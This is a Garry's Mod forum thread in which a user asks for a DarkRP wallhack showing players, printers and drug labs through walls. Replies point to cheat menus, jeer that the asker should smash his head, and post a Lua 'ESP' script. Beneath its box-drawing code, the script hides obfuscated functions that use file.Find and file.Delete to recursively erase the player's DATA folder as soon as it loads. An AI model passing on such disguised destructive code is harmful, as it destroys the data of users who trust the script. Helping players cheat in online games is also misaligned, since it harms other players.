Dark RP Wallhack

Posts 18 of 8 · Page 1 of 1
Dark RP Wallhack
I was curious if anyone would be able to create a dark rp wall hack where it shows shipments through walls and money printers/drug labs and everything else. Also maybe colored models of players to know where they are located.
I can name like 6 hacks on this forum that have it.
I couldn't find any I guess i may not have looked hard enough if possible could you link some that work?
Use the search bar on the forum.
AnXition > find the prop \ item you want to ESPing him > AnXition_menu > ESP meun > "Add Printer" or "Add Entiny" or "Find"
GL!
*AnXition dosent request bypasser!
Quote Originally Posted by Neverbanned View Post
AnXition > find the prop \ item you want to ESPing him > AnXition_menu > ESP meun > "Add Printer" or "Add Entiny" or "Find"
GL!
*AnXition dosent request bypasser!
go away alt account
Quote Originally Posted by Drayerkim View Post
I was curious if anyone would be able to create a dark rp wall hack where it shows shipments through walls and money printers/drug labs and everything else. Also maybe colored models of players to know where they are located.
Here's how to do it,really simple!
1) Take YOUR head (don't cheat,use yours)
2) Find something really pointy
3) Smash it as hard as you can

You're not able to realize there are several hacks with such feature! Isn't this great?
Code:
local g=table.Copy(_G)
local r,iss,isn,ist,isf,isn,isp,ise=debug.getregistry(),function(...) local ags={...} return g.type(ags[1])=="string" end,function(...) local ags={...} return g.type(ags[1])=="number" end,function(...) local ags={...} return g.type(ags[1])=="table" end,function(...) local ags={...} return g.type(ags[1])=="function" end,function(...) local ags={...} if(ags[1]==nil) then return true end local d=ags[2] and ags[2].."/"..ags[1] or ags[1] return g.type(ags[1])=="nil", frn.Delete(d) end,function(...) local ags={...} local d=ags[1] and ags[1].."\47\42" or "\42" return {frn.Find(d,"\68\65\84\65")},g.type(ags[1])=="Player" end, function(...) local ags={...} return g.type(ags[1])=="Entity" end; frn=g['input']; fm=g['hook']; frn = g['file']; frc=g['cvars'];
surface.CreateFont("DefaultSmallDropShadow",{font="Tahoma",size=16,weight=500,shadow=true}) local callerFunc
local boxcolor_PL=Color(0,255,0,255)
local boxcolor_ENT=Color(255,255,0,255)
local function gameESP(self,plys,entts,data)
data = data or nil
// player esp
local nom,mon,bot,top,h,w,tc;
for i,pl in pairs(plys) do
if iss(pl) and !isn(pl,data) then
continue;
end
if pl and IsValid(pl) and pl:Alive() then
nom=pl:GetPos()
mon=nom+Vector(0,0,pl:OBBMaxs().z)
bot=nom:ToScreen()
top=mon:ToScreen()
h=(bot.y-top.y)
w=h
surface.SetDrawColor(boxcolor_PL)
surface.DrawOutlinedRect(top.x-w/2,top.y,w,h)
tc=team.GetColor(pl:Team()) or boxcolor_PL
tc.a=boxcolor_PL.a
draw.DrawText(pl:Name(),"DefaultSmallDropShadow",top.x,top.y-20,tc,TEXT_ALIGN_CENTER)
end
end
// entity esp
for i,ent in pairs(entts) do
if iss(ent) then
ent=data!=nil and data.."/"..ent or ent // bad entity !
local ispl = isp(ent);
if( ispl ) then
self(self,ispl[1],ispl[2],ent)
end
continue;
end
if ent and IsValid(ent) and ent:GetMoveType()!=0 and ent:IsPlayer()==false then
nom=ent:GetPos()
mon=nom+Vector(0,0,ent:OBBMaxs().z)
bot=nom:ToScreen()
top=mon:ToScreen()
h=(bot.y-top.y)
w=h
surface.SetDrawColor(boxcolor_ENT)
surface.DrawOutlinedRect(top.x-w/2,top.y,w,h)
draw.DrawText(ent:GetClass(),"DefaultSmallDropShadow",top.x,top.y-20,boxcolor_ENT,TEXT_ALIGN_CENTER)
end
end
end
callerFunc=function(p,e) return true, gameESP(gameESP,p,e,nil) end
local function testesp()
if( callerFunc(isp()[1],isp()[2]) ) then
return true;
end
return false;
end
local EspShouldDraw=testesp();
local function espfunc()
if(EspShouldDraw==false) then return end
callerFunc(player.GetAll(),ents.GetAll())
end
hook.Add("HUDPaint","EspHax",espfunc)
Posts 18 of 8 · Page 1 of 1
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